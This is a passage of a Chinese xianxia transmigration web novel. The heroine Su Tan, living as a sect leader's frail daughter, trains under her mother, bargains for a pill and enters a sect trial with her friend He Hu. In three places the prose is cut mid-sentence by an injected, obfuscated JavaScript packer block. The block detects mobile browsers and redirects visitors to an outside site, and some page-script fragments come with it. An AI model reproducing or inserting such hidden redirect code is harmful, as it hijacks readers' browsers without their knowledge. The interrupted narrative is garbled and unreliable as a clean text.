苏昙回身,认出她是课上好心喊醒自己的同门,看对方的年龄,大概和原主同岁。 “我叫何瑚!”女孩露出甜甜的笑,“以前听过你名字,这几日你来听学,才见到本人。容貌果然如传闻中的一样俊俏可爱!” 原主竟还有传闻?刚好歪打正着,苏昙拉着何瑚了解这个世界的情况。 …… 何瑚还在激动地讲这说那,苏昙的心情却复杂得变了又换。 好家伙!原来原主是遣凌派穆遣掌门的独女苏檀! 而原主的传闻,更多说她生来灵脉残缺,性格孤僻,被预言活不过十九岁。不过,其父穆遣反倒对这个女儿疼爱有加,宝贝得很。 苏昙简直要救了个大命,这是什么老土小说里的天崩开局?! 她几乎能猜到,第二个世界的任务,就是要帮助原主平安渡过十九劫数,破除预言。 “怕只怕这次仙门试炼,”何瑚突转话锋,表情收起笑容,“咱们遣凌派会被有心之人针对。” “为什么?” “听说是望月峰曾和遣凌派起过罅隙,自此两派不再往来,关系也变得僵持。所以,谁也不敢保证望月峰不会趁着仙门试炼生出事端。” “对了,”何瑚接着道,“穆掌门这次特意设下凝元珠,作为最后胜者的奖赏,估计慕名前来的人只多不少。那可是凝元珠啊,多少修仙之人想要而得不到的!” 苏昙瞧见何瑚欲言又止,便明白她想问什么。 “你想与我一同组队参加?” “……对。” “但我没说我一定会参加。” “这、”何瑚肉眼可见地变得尴尬,“抱歉啊,是我——” “我逗你的。”苏昙眼底流露笑意,“我们可以一起。” 何瑚有些意外:“可你难道不怀疑,我是因为你掌门独女的身份故意拉拢你?” “是又如何?我灵脉残缺,远不如你强,和你一起,反而能互相帮助,岂不更好?” 苏昙一开始便想到这种可能,但自己刚穿过来,对这里还不了解,又没有智能设备,找个人一起总归是好的。 她又问:“你之前参加过仙门试炼?” “嗯。不过能力不够,只能堪堪进入里境。”何瑚露出不好意思的神色。 仙门试炼共分为外境、内境和里境三个虚境,其中里境最为危险。 “没关系,只要我不拖你后腿,就好。” “怎么会!那就这么说定啦?明日我去找陈长老登记名册!”何瑚当即决定。 她心中意外苏昙竟如此爽快,完全不像传闻说的那样性格孤僻,难以接近。 看来谣言诚不可信! * 隐雾间,一片竹林若隐若现,池中水流淙淙,撞击冲刷着岸边岩石,发出清脆声响。 苏昙快步走进林子后面的幽鸣别院,那是原主从小生活的地方。 “刚刚在林间就感受到充沛灵气,”她张开手臂,贪婪地呼吸,“没想到,这院里的灵气更甚。” 风吟鸟鸣,环境清幽,正适合整理思路。 她从何瑚嘴里大致了解到,原主的父亲叫穆遣,母亲叫苏婉凌,两人也是遣凌派的创始人。当年苏婉凌以“寒逸器仙”闻名天下,女侠傲气无人不晓。 十八年前,苏婉凌在众仙汇聚修炼之地——伏霄台,与其夫穆遣相识。同时,又和望月峰峰主南宫藏月成为挚友。 一切变故发生在苏檀诞生后。她由于先天灵脉残缺,无法像其他人一样修习仙法,便在幽鸣别院深居不出,久而久之生出闲言碎语。而苏婉凌自女儿出生便无声退隐幕后,把遣凌派大小事务全部交予穆遣。 令苏昙尤为不解的是,她现在穿身的年纪还停留在十七岁,若原主真活不过十九,那为何原主会提前两年离世?原主究竟是一个什么样的人? 太多信息都是一知半解,眼下最重要的,恐怕要数十日后的仙门试炼。至于试炼前这十日内该做什么,苏昙缓缓转动杯盏,心里有了主意。 …… “你说檀儿要参加仙门试炼?”屋内传来男子浑厚而中气十足的惊问。 陈万肃拱手:“是,掌门。 穆遣气得呼吸都有点不稳:“这孩子,我这才几日没去看她,她就擅自做出这等出格之事!” “掌门莫急,檀儿说不定有自己的想法,不妨让她试试看。” “这怎么能试?!仙门试炼无处不危机,她灵力低微,过去无异送命!” “可檀儿——” “好了,你无需多说,此事我意已决。陈长老请回吧。” 穆遣神情凝重,不容陈万肃反驳。 “是。” 陈万肃不好再劝,拂袖离去。 穆遣踱步到桌边,久久望着窗外,良久,发出一声喟叹。 * 眼看试炼之日将至,苏昙索性不再去学堂,整日呆在别院,就连何瑚也只在路上碰见过一回。 何瑚远远瞧见她脚步匆匆,赶忙跑过去:“苏檀,这几天怎么不见你来学堂?” “自然是有事。”苏昙停下来,“仙门试炼再有七日就要开始,当然得多做些准备才好。” “那有我需要帮忙的吗?尽管开口。” 苏昙思索片刻:“还真有。你等会有事吗?有个地方,陪我去一趟?” “没问题!” “到了地方,你按我一会教你的说就行。” 何瑚疑惑:“说什么?” ——半个时辰后,苏昙寻着记忆中的路,顺利无阻带何瑚来到原主父母的居所,长莱殿。 “母亲!” 苏昙穿过前殿,却没有瞧见穆遣的身影。 “檀儿?你怎么来了?” 门帘被一双磨满老茧的手掀起,走出一位英气飒爽的女郎。虽能看出她已有些年纪,但身上依然留下时光掩盖不住的精气。 苏婉凌眼睛看向苏昙身侧:“这位是?” “何瑚。她是我这几日新结识的朋友。” “令、令堂好!” 何瑚终于见到传闻中赫赫有名的“寒逸器仙”,一时激动得磕磕巴巴。 苏婉凌面上浮现丝丝诧异,盯着何瑚看了许久。 末了,她温柔弯起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我来解决。”苏婉凌双手搭在苏昙肩膀,“你从小不喜交友,能主动结识同伴,已是极好。” 难怪刚刚苏婉凌看到何瑚会露出意外的神情。看来传言并非全虚,原主的性格孤僻应该是事实。苏昙暗自腹诽。 “多谢母亲。”她道。 何瑚也十分高兴:“谢谢令堂!” * 穆遣自前天送走陈万肃,便开始心神不宁。 隔日晚上,他从试炼虚境返回,确定那里依旧安全无误,才彻底放心。 穆遣走入院子里屋,脱去外袍,发现苏婉凌正端坐在床边。 他放低声音:“吵醒你了?” “没,只是我还有事和你商量。” “何事?”穆遣坐到苏婉凌身旁,把她轻轻搂进怀里。 “檀儿今天来找我了。” 说完,苏婉凌感觉到穆遣搭在自己肩头的手微微收紧。 “她……同你说什么?” 苏婉凌:“我明白,你是太心疼檀儿,不愿让她涉险。但她今年已满十七,若仍无自保之力,那两年后的劫数,她恐难自渡。” 穆遣在别人面前,永远习惯先让自己成竹在胸,唯有苏婉凌,才能让他放下己见,重新思考。 他拧紧眉心:“但她本不该独自面对这些,都是我……” “你可知檀儿今天还说了什么?”苏婉凌反握住他的手,缓声道,“她向我主动提起灵脉残缺一事,情绪平稳,没有丝毫怨恨羞恼。” “什么!”穆遣声音轻抖,失去一贯的从容,“檀儿她竟、主动谈论灵力的事?” “起初我也觉得诧异,想来是她有所领悟,开始慢慢接受。” 穆遣哑然失神,似是回忆起很久以前,半晌都未出声。 苏婉凌垂下眼睫,提议道:“不如,你我且耐心等等看。若是檀儿此次能安然无恙从仙门炼出来,我便教她渡劫保命的法子。她也该面对这一切了。” 穆遣仍没说话。 直到苏婉凌看到窗外月亮又降落几分,身旁那人终于有了动静。 穆遣在苏婉凌额头留下温柔一吻:“也罢,就按你说的吧。” 17. 世界二(2) 苏昙自从得知原主灵力低微,每日清晨便强迫自己早早起床打坐修炼。 身为修仙之人,如果没有足够的灵力支撑,哪怕天赋异禀,也终难得道。 虽然原主的书房里有不少关于修真的书籍,但苏昙却不敢盲目按照书里方法修炼。毕竟她还不够了解这具身体,生怕一个粗心大意直接玩完。 苏昙反复思考原主除了灵力,还有可以什么利用的优势,最后发现还是需要内力外力共同作用。 要知道,原主背后可是人人钦仰的“寒逸器仙”苏婉凌和遣凌派掌门穆遣,这么好的资源不用白不用。 吃过午饭,苏昙来到遣凌派主殿,长莱殿。 她本只想去见苏婉凌,请教基本御器之术,不料恰巧碰到准备出殿的穆遣。 “父亲。”她自然地打了个招呼。 穆遣却顿住:“你……叫我什么?” “父亲?” 苏昙稍感不对劲,怎么这堂堂掌门,见了自己会露出如此惊疑的表情?她不是穆遣的宝贝女儿吗? 难道,穆遣此前和他女儿关系并不好? 苏昙不禁感慨:原来,面对家庭亲子关系问题,哪怕是神仙,也会一样束手无策! 穆遣似乎被苏昙看得有些窘迫,他轻“咳”一声,很快恢复从容:“我还有要事处理,你若是见你母亲,便进去吧。” “好。” 苏昙走入殿内,转了几圈却没找到苏婉凌。 “母亲?母亲?” “你找我?檀儿。” 苏昙闻声,眼前凭空出现一个身着劲装的仙尊,正是苏婉凌。 “是,女儿想向您请教些问题。” “跟我来吧。” 苏婉凌待苏昙走近,随手在空中画出一个印记,眨眼两人就来到长莱殿之外的另一个空间。 自从苏昙进入系统,各种超脱物理科学范畴的事情已经让她见怪不怪。她观察身处的空间,问道:“这是哪里?” “你可以理解成器库,这里面存放的,都是我曾经炼化过的器物。” 苏婉凌拿起离自己最近的一片叶子,解释道:“无论器物大小贵重,皆有灵性。炼化它们,不能只靠一味索取操控。” 说话时,她两指捏住叶片,对着门的方向掷去。须臾之间,空间之门被震碎,显出她们刚刚站在长莱殿内的地方。 苏婉凌唤回叶子,抬手恢复空间之门,“这片叶子,看似平平无奇,上面却有两种灵力——万物之灵,和我的灵力。” “也就是说,御器者在借助器物灵力御器之前,需先学会炼器。而炼器,消耗的是御器者自身灵力。很多人,只贪图御器时的事半功倍,却不愿在炼器时吃苦。” “……你能听懂吗?” 苏婉凌说了很多,担心苏昙不能全部明白。 “嗯,女儿清楚。” 苏昙:何止是懂,这就是自己想要的内力外力结合的效果! “其实我今天来,就是想向母亲请教关于御器的问题。”苏昙正色道,“您觉得,我能跟您学习御器之术吗?” “这,”苏婉凌面露犹豫,“学习御器还有一点,便是御器效果和御器者自身灵力有直接关系。你能接受也许修炼很久却毫无成果的情况吗?” “我愿意承担任何结果。” 听到苏昙毫不犹豫的保证,苏婉凌反而多了份心安,至少目前来看,她不像是会随便放弃的样子。 “好。”苏婉凌大胆地敞开直说,“以你现在的修为,比同辈还差一大截,只能先从最基本的控物开始修习。” 她盘腿席地而坐,苏昙也紧跟着坐下。 苏婉凌缓闭双眼:“修真之人,凝神吐纳,无事而生定。神气和融,而招致天和。致静则不动,致和则不迁。”① “简单来说,关闭你的外在感知,将所有知觉放在身体里,用心体会真气顺着全身经脉的运转,以神养气,滋生灵力。” 亲临学霸现场教学,苏昙恨不得把苏婉凌说的每一个字都塞进脑袋,回去慢慢领悟。 她按照苏婉凌的话,内观全身,不一会,竟真的生出时间停滞的错觉,修仙之人果然不一般。 大半个时辰就这样悄无声息地过去。 苏婉凌看时间差不多,柔声将苏昙从入定中叫醒,嘱咐道:“书中有言‘灵光八辉,万神聚生’。当你有足够灵气做支撑,再加之勤奋练习,控物之术便无师自通。”② 苏昙站起身,发现身体真的比之前变得轻盈许多!这才修炼不到一个时辰,变化就这么明显,看来想要学习进步还是需要选对好老师! 与苏婉凌约定好明日修炼时间,苏昙告别长莱殿,又转身前往门派内专门倒卖灵器法宝的市集。 这几天,她早已把各个路线认熟,即使不能像修为高深的长老们搞闪现,也很快来到市集入口。 “瞧一瞧看一看,丹修大师林戚的遗丹‘聚灵丸’!只此一颗,如假包换!” “走过路过不要错过!你还在为没有趁手法宝而发愁吗?进来看看,包你能找到有缘法宝!” “各种防身法器,好用又便宜!多买多送,试炼不愁啊!来看看吗?” “……” 市集上完全不见午后慵懒氛围,热闹喧嚷的叫卖声不绝于耳。 苏昙来到刚刚叫卖聚灵丸的摊位前:“老板,林戚是谁啊?” “你不知道?”那老板扬起眉,仔细打量苏昙,“林戚可是望月峰副掌门,他炼的丹药,人人都想要,人人要不到,宝贵得紧呢!” “那这丹药为何会成遗丹?” “嗐,听说是十几年前望月峰内乱,不知怎的就流到外面了。” “哦?那你又是如何得到的?”苏昙状若无意反问。 “我当然是——”说到一半,老板突然警惕起来,“嘿你个女娃,问题还忒多!你要买就买,不买别耽误我做生意!” “不是我提醒你,人人都知这望月峰和遣凌派素来有罅隙,你为何还敢倒卖?莫不是……”苏昙紧盯着老板皱缩成核桃一般的脸,语气平静地揭露他背地里的黑色交易,“手上染了脏物?” 她几日前来市集观察,发现此人就是个贪生怕死的财迷,为了钱什么都做得出来。 老板察觉到眼前的女娃有意砸他场子,放低声音发狠道:“你到底想干什么!” “你也知道,若这种事情被挑明,往轻了说,是交易倒卖;一旦被严查,那可是要被安上叛门的大罪!”苏昙耸肩,“我不想干什么,只是看你做营生也不容易,多关心一些罢了。” “而且,马上就是仙门试炼,越是到时间关头,每天查得就越是严。”她看了一眼老板紧握在手里的聚灵丸,真诚提醒道,“像这种来路不明的丹药,还是小心贩卖为好,莫要到头来财物两空。” 说完,苏昙不再理会他,抬脚就要离去。 直到走出摊位一段路,她如愿听到后面传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278643|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一声呼唤:“哎,那个女娃!” 老板小跑追上来,呼出一口浊气,连脸上的皱纹也散开不少。他把聚灵丸装进袋子,搓了搓手,说道:“低价给你,要不?” “我只有五十枚灵石。”苏昙不给他讨价的机会。 老板顿时一副肉疼的表情,这聚灵丸的定价可是三百灵石。 “不行,二百五十灵石!” 苏昙:“你想想,来这里的,大多是为了寻些便宜好用的修炼材料,会有多少富裕之人?这么些天了,有人来问过你这聚灵丸吗?也就我,愿意出钱买下这个隐患。若你不愿,大可另等他人。” “……一百五十灵石!” “看来我只好把你私下的营生呈给掌门那里了。” “一百灵石!” “我就只有五十。” 老板嘴角抽了几抽,最后咬牙道:“成交!” 苏昙把聚灵丸小心翼翼塞进衣服,背过老板露出得逞的微笑。 原主可是掌门独女,自然不缺灵石。苏昙早早看中这枚丹药,却苦于溢价太高。 这世道,想挣钱太不容易。她就是单纯看不惯这种黑心商贩扰乱市场价格,若不是拿捏住老板胆小怕事的弱点,怕也要费好一番功夫才能压价拿到。 不过,如果林戚得知自己一个大名鼎鼎的炼丹师所炼丹药,竟被潦草贱卖到五十枚灵石,怕不是会当场气吐血。 * 苏昙从市集出来时已是傍晚,身上揣满各种大大小小的为仙门试炼准备的法器。 有一沓一次性的传送符纸,只是距离有限制,不能太远;有一袋子霹雳珠,正适合遮掩行踪;还有传音耳饰,苏昙买了两个,正好她一个,何瑚一个;还有一堆乱七八糟的符纸,定身、掩息、隐身各种用途…… 苏昙回到幽鸣别院,把东西大致分类整理后,想趁下午灵气涌现的感觉还在,保持住好不容易来的状态。 她担心自己一个人修炼出事,便把001喊了出来。 “我一会入定修炼,你要是没事,能在旁边守会吗?一旦我有走火入魔的苗头,就赶紧把我喊醒。” 对001来说,这算是举手之劳的小事,不难答应。 “好。”他想了想,没有拒绝。 苏昙服下白天买来的聚灵丸,回想着苏婉凌的话,盘腿坐下,无声默念,渐渐凝神。 “致静不动,致和不迁,灵光八辉,万神聚生……” 001待在苏昙的识海之外,也察觉到到她变得沉静的心绪。 周遭的一切声响仿若被无限扩大,即使闭上眼睛,苏昙也能听见院子里的草木悄然间冒出新芽,飞檐轻轻挑起了天边暗云。 万物的声音都融进她逐渐开阔的意识。 不知过了多久,001突然意识到身边的人还在入定,一直没有动静。 他知道此时断不能贸然喊醒,否则入定之人会面临元神俱灭的危险。 001观察苏昙神情平静,想来问题应该不大。正当他准备进入苏昙的识海深处探查时,那人却突然躺倒,甚至换了个更舒服的姿势。 “苏昙?”001轻声唤。 回答他的是一阵均匀平稳的呼吸。 ——她睡着了。 001停住动作。 他静静看着苏昙,不解刚刚自己竟然生出一丝紧张,明明地上的人早已没心没肺地进入梦乡。 问题来了,他究竟要不要把人喊醒? 18. 世界二(3) 苏昙缓缓睁开眼睛,发现天光大亮,自己竟躺在地上睡了一夜! 不是让那人在一旁守着吗! 她翻了个身,在识海质问道:“001!说好的看着我修炼,你怎么就让我给睡了?” “……” 一大早,001便被苏昙惯有的“语言艺术”惊了个清醒。她这人当真不是存心故意报复吗? 然而,当事人一脸无辜,只有满满的因为错过修炼时间的懊恼。 001:“谁叫得醒您?我看您睡得又香又沉。” 昨晚他试探地喊过几声名字,见人丝毫没有动静,便由她去了。 “唉算了,熬夜修行不可取,早睡早起身体好。等会我还要去找苏婉凌继续学习请教。” 苏昙一骨碌从地上爬起,利索地拍拍衣服,开始收拾自己。 她倒是看得挺开。001事不关己地敷衍鼓励道:“加油。” 苏昙无语,朝空气做出礼貌假笑:“借您吉言,我会的。” * “檀儿,你来了。” 苏婉凌很高兴能够如约见到自己女儿。 苏昙:“母亲好!不过,怎么又不见父亲?” “他?”苏婉凌不知道苏昙为何会突然提起穆遣,解释道,“你父亲怕他在场,会影响你修炼,一早出去了。” “哦,那您回头跟他说,不用再避着我,下次可以一起来看我修炼。” 苏昙觉得穆遣应该是想和自己女儿多亲近些的,只是碍于两人关系不好,不敢提出。 “好,我会转告他。” 苏婉凌回归正题:“此前你虽有识海,却不曾仔细探查过。今天,我要帮助你开启识海。识海开启之后,对你的修炼大有帮助,你也能随时进入。” 苏昙和苏婉凌对面而坐,毫无保留地将修仙者最为私密的精神世界向苏婉凌展开。 苏婉凌伸出两指探到苏昙额头,柔和的微光瞬间在两人周围散开,自动形成保护的屏障。 苏昙感觉自己轻飘飘地落入一片虚无,睁开眼睛,是一片浩渺深邃的黑暗。如果不是苏婉凌在身边站着,她真怀疑自己究竟有没有进入识海。 “我能感知到,你识海中有巨大的潜力。”苏婉凌站在识海中心,拉住苏昙的手,“你的识海宽广,比我和你父亲更甚。” “那这里为什么黑暗笼罩,不见一丝光亮?” 苏昙没想过自己的识海空空如也,仿佛不曾存在似的。 苏婉凌不急不忙道:“识海乃是修行之人内心最真实的映照,你以前一直将识海搁置一边,自然不见起色。” “那我要如何再次进入识海,如何发掘它?” “这很简单,只需将气息下沉至丹田,同时内观体内真气的周身运转,一呼一吸之间,便可进入识海。你在识海内打坐修炼,进步会更大。” “我明白了。” 苏昙刚开始还有些害怕眼前无垠的黑暗,感受了一会却发现其实感官就是心境不同罢了,没什么好怕的。 苏婉凌看见她很快适应,露出赞赏的神色,嘱咐道:“你现在法力不够深厚,一个人进识海修炼时,切记确定环境的安全。若是周围有别有用心之人故意伤害,轻则修为尽失,重则识海瓦碎,魂飞魄散。” 说实话,苏昙倒不太担心。苏婉凌一直在家,可以随时找她看护;再不济,还有001呢。 他应该……会答应的吧。 * 转眼间,仙门试炼如约举行。 苏昙日日把自己关在院里修炼,多少也算有些进步—— 她已经能操控手边的小型物体;身形步伐也更加灵活敏捷,大大增加逃命躲避时的胜算;就连之前使不出来的简单基础的法诀,现在也是手到擒来。 尽管原主没有修炼天赋,但胜在有一对修行高深的父母。两个大佬齐齐出力,想不进步都难。 “苏檀,这里!” 刚来到试炼大门,苏昙便看见何瑚早早在等候。 她把前几天买的传音耳饰递给何瑚:“把这个戴上吧,保证我们即使走散也能交流。” “你想的好周到!” 何瑚迫不及待地戴上,探着头向虚境观望。 各门各派的试炼者陆续到达,陈万肃用法术将自己的声音扩大传到人群中,再次宣布试炼规则:“时辰已到,仙门试炼即将开始,请众修士做好准备。” “试炼为期一个月,分为外、内、里三个虚境,最终目标是不论何种方式,找到神草——瑰棘花。瑰棘花一共两朵,一人一花,不可共同享有。此外,切记,安全和友谊第一,比赛第二。” “若陷入危险,马上发送求救信号,并立刻离开虚境,长老们会前去保护你们。但同时,视为你主动放弃历练资格。” 话声一落,大门开启。 人群一哄而上,苏昙和何瑚也跟着踏进虚境。 虚境的景色和境外截然不同,周围是灰蒙蒙的一片山林,湿冷的雾气打在身上,让人忍不住打哆嗦。地上长满不知名的花草,有些可用来治伤疗愈。远处传来若隐若现的妖兽低吼,一时半会应该还遇不上。 苏昙不停把沾在衣服上的水珠甩掉,搓了搓胳膊,问何瑚:“你不觉得这里很阴冷吗?” 之前她在第一个世界里录综艺,天天往山里跑也不觉得有这么难受。 “冷?”何瑚疑惑地眨眨眼,随即了然道,“我忘了,还没来得及告诉你,我一直修习的是冰系法术,体质本就寒凉,所以并未像你那般不适。” “好吧。”苏昙想到还要保存灵力,不能随便施法掐诀,便努力忽略周围的阴湿。 两人边走边采集地上有用的灵花灵草,虽说它们不及瑰棘花珍贵,但对修行仍有不少好处。 走着走着,雾气渐渐散去,空气终于变得干燥一些。 苏昙:“外境和内境有什么明显变化吗?” 她和何瑚走了半天,似乎一直在林子里兜圈。 “当然。”何瑚停下来观察,“外境的妖兽伤害并不高,但数量多;内境妖兽虽少,但伤害极高,周围的情况也是变化莫测。不过,目前来看,我们现在估计连外境一半都还没走到。” 苏昙留心何瑚的话,突然听见前方不远处的草丛中传来窸祟的动静。 “嘘,那边有声音!”她放低声音,提醒何瑚。 真是说曹操曹操到,刚刚何瑚口中的妖兽,此刻在草丛里露出篮球大的兔子脑袋。 “还有你后面!” 苏昙余光瞟见一只双目赤红的猪妖在何瑚身后亮出獠牙,正伺机而动。 “小心!”她果断决定,“我解决前面这个,你解决后面的!” 何瑚:“好!” 苏昙一个箭步冲进草丛,对藏在其中的兔妖甩出衣袖里的定身符。 谁知那兔妖竟有苏昙身高大半,一个转身躲开了她的攻击。兔妖露出利齿,将目光锁定在苏昙捏着符纸的左手臂。 紧绷对峙间,苏昙突然从背在身后的右手抛出霹雳珠,在周围笼起一层烟雾,瞬间将兔妖肆无忌惮的眼神阻隔。 就是现在!苏昙运动周身灵气,找到兔妖所在位置,脚下生风,绕到它身后,再次甩出定身符。 那兔妖果然动弹不得,它更加疯狂地嘶叫着扭动身体,阴骘的眼神赤裸裸地黏在苏昙身上。 苏昙脑袋里突然冒出一句玩笑话:“兔兔这么可爱,怎么可以吃兔兔……” ——但现下可是性命攸关的时刻,她一秒也不敢耽误,将灵力注入手中锋利的匕首,毫不犹豫地刺进兔妖心脏。 “噗呲!” 刀尖带出一串血迹,溅在苏昙衣摆。 血珠在脸侧凝固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289580|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞬间,她的大脑不受控制变得一片空白,似乎心跳也被一并带走了。 这是她人生真正意义上的第一次杀戮。原来就是这种感受么,她甚至来不及犹豫就出刀了。 眼前的兔妖已经倒下,很快化作一团齑粉消散在空气里。浓重血腥味缠绕在苏昙鼻尖,勾起她心中阵阵干呕,只有弯下腰才稍微好受一点。 “苏檀!你没事吧?” 何瑚解决完猪妖,赶紧跑过来,却看见她一个人默默站在原地。 苏昙回过神,做了个深呼吸:“……我没事,都解决完了。” 她仍握着匕首,不敢松懈:“接着走吧。” 这场小小的战斗激起苏昙的警惕。她意识到,虚境里的一个月绝不会像之前那样风平浪静。 两人一路上不断杀掉拦路的妖兽,受伤了便用路边的灵花灵草治疗,饿了便吃树上长的果子。 不知不觉,黄昏渐渐压到头顶,冷风飒飒地斜着打到身上,两人几乎要精疲力尽。 “必须要休息了。这样反复地杀下去,只会消耗灵力。”何瑚建议。 最后,苏昙找到一个背风的洞穴,两人就地调整。 何瑚环顾一周:“奇怪诶,今天竟连一个修士都没遇到。” 苏昙:“这才刚开始,也许碰不到反而对我们更有利。” 为了防止半夜妖兽侵袭,苏昙给自己和何瑚用了隐藏气息的符纸遮掩踪迹,何瑚又在洞门施上冰层加固。 何瑚:“这样应该就没问题了。” 苏昙还是有点不太放心:“前半夜我来守,后半夜你来,可以吗?” 何瑚也正有此意:“可以。” 等到后半夜换班,苏昙坐在角落,开始进入识海修炼。 不得不说,虚境虽然危险,灵气却比着实外面充沛得多,苏昙堪堪入定一个时辰,便感觉精力已恢复得大差不差。 第二天早晨,她离开识海,发现洞外的景色和昨天截然相反:雾气弥漫的树林消失不见,取而代之的是幽静的山谷。明亮的阳光洒向大地,一股暖意从脚底升腾而起,仿佛昨天的妖群不曾存在。 “你们能不能走快点,别耽误功夫!” “昨日就数你拖后腿,不然我早就进内境了。” “劝你识相点,把找到的好东西乖乖交出来!” “凭什么?!我不给!” “快看快看,那边有两个女修!” “……” 苏昙和何瑚听见外面人声嘈杂,她们刚从山洞出来,便被其他参与试炼的修士发现。 众目睽睽下逃跑只会更加引人注目,苏昙向何瑚确定道:“试炼规定,不论方法,只要找到神草就行?” “对啊,怎么了?不过长老交代,切不可伤到其他试炼者性命。” “那就好办了。” “可这还不到内境,那些人会有瑰棘花吗?” “有没有不重要。这才外境,本也指望不上。”苏昙凑到何瑚耳边,“关键是削弱对手的竞争力,为咱们争取找到神草的时间和机会。” 何瑚神色变得不太自然。 过了一会,她开口说:“其实,我能感知瑰棘花的气息。” 苏昙抬眼看向她。 何瑚又赶忙解释道:“因为我们刚到虚境,我想这法术一时半会也用不上,便没和你说。” 苏昙面露惊喜:“……这简直太好了!” “真的吗,我还以为你会生气。”何瑚还是有些愧疚。 “气什么?” “气我有所隐瞒,浪费了一天的时间杀妖。” “怎么会。” 苏昙大手一摆。她甚至都不是原来的那个苏檀,论隐瞒,她才是真正骗人的那一个才对。 “走吧,我们去会会他们。” 她拉住何瑚,大步走了出去。 19. 世界二(4) “各位道友,各位同门!好巧啊!” 苏昙拱着手走上前,给刚刚发生争执的一群人打招呼。 “谁和你是同门?” 为首的是一个青年男修士,他不耐烦地把苏昙和何瑚全身上下打量一遍,最后盯着两人腰间的宗门玉佩,反问道:“你们俩,都是遣凌派的?” “正是。” “切,我还以为是什么厉害的人呢!”男修士从鼻腔哼出一声嗤笑,“原来就是两个手无缚鸡之力的女修。劝你们俩识相些,乖乖交出身上的宝贝!” 苏昙眉头一皱,嘴角向下一撇:“道友可能有所不知,我和我妹妹昨日进入虚境后,一路惨遭妖兽追杀。好不容易熬过去,便看到道友你,简直就是天降救星!” “两个废物,什么都没有还想抱大腿?” 男修士不欲再做纠缠,抬腿要带着身后的六七位修士离开。 “等等!我能帮你找到瑰棘花!”何瑚出声。 “?”男修士停下脚步,看向刚才一直沉默的另一个女修,“你说什么?” 何瑚又重复一遍:“瑰棘花喜阴厌阳,生长在寒凉极地。我恰好修习冰系术法,若有神草踪迹,我能感知到一二。” 男修士搓搓下巴,眯着眼思考片刻,说:“行,你跟着我们走。但——” “但我有一个条件。”何瑚抢在他前面说道,“我姐姐必须和我一起。” 男修士挑眉:“啧,还真是姐妹情深。行,那就一起走吧,你们俩去最前面带路。” 一个肥头圆脑的胖修士走上前,低声提醒为首的男修:“金迩哥,担心有诈。” “怕什么?两个弱女子,用完甩掉就是。” “金迩哥说的是。那个,这是我昨日采的枝玉果,治伤有奇效,给你。” “这还差不多。” 苏昙和何瑚走在最前面,将他们的对话都悄悄听了去。 苏昙轻轻敲打传音耳饰,在心里试探地问:“何瑚?能听见吗?” “能能能!” 苏昙松了一口气,继续道:“你注意到队伍最后的那个修士没?” “有印象。他也是刚刚金迩的勒索对象?” “没错。而且我观察到,他手臂上有伤,却没治好。” 何瑚:“可是就算他被金迩欺负,也应该有机会给自己疗伤吧。” 苏昙脑海里浮现出刚刚那个胖修士的话,推测道:“最大的可能,就是这个队伍里,不止金迩在仗势欺人。” “对了,你现在可以感知到瑰棘花踪迹吗?” “难说。今日虚境风和日丽,完全不像有极寒要来到的样子。”何瑚皱眉,心情有些低落,“只怕金迩不好糊弄。” “没关系,我有办法。你就只管按照方向带路,等到休息空隙,把这个悄悄给最后的那个修士,什么都不要说,也不要让别人发现。至于其他的,交给我。” 苏昙假似亲昵地拉住何瑚的手,借宽大的衣袖遮挡,把准备好的东西塞给何瑚。 “……好。” 苏昙注意到她情绪不对:“有何不妥吗?” “我来之前,向令堂保证过,绝不让你涉险。结果我却让你到如今现状。” “你为何会这样想?”苏昙惊讶何瑚的自责。 她向来惜命,若不是有十足把握,定不会主动招惹金迩等人。 “我应该谢谢你愿意配合我才对。如果不是你,昨天我们也不会顺利躲开妖群,今天更不会成功说服金迩。” 苏昙发现何瑚看似大大咧咧,实则心思细腻,善良正直。 “真的吗!”何瑚被苏昙三言两语哄好,心情转晴。 “当然。你放心就好。” * 次日早晨。 “前面的,喊你们半天了,聋了吗!” 金迩的声音从队伍后面传来。 苏昙正与何瑚整理衣饰,她闻声回头看向金迩,露出“有什么快说”的眼神。 金迩有一搭没一搭地敲打剑柄,不耐烦道:“到底还要再走多久?你们要是敢骗我,我让你们吃不了兜着走!” “继续往北。”何瑚指向前。 金迩从鼻腔哼道:“接着带路吧。” 这一走,就是将近两个时辰。 …… “金道友!”苏昙喊住金迩。 “你又有什么事?” 苏昙擦掉额头发汗珠,抱歉地笑笑:“我就是看大家都走累了,不如咱们原地歇息片刻,再继续?” “你质疑我的决定?” “哪里,我也是为金道友你着想。你想,要是你先倒下了,那岂不是要群龙无首?” 金迩的确觉得自己双腿有些酸软,仔细想了想,扬声道:“也罢,原地休整半个时辰!” 众人纷纷松了口气,皆放下随身武器,席地而坐。 何瑚注意到队伍末尾的修士也找到一片闲地坐下,她正要过去完成苏昙交代的事,不料那个肥头圆脑的胖修士先一步走到他身边。 何瑚停在不远处观察情况。 肥头圆脑朝那个弱势的修士伸出双手,似乎在索要什么东西,过程中两人起了争执,但旁人无一上前过问。 何瑚思忖,苏檀猜得果然没错,这个队伍里不止金迩一个恃强凌弱的人。 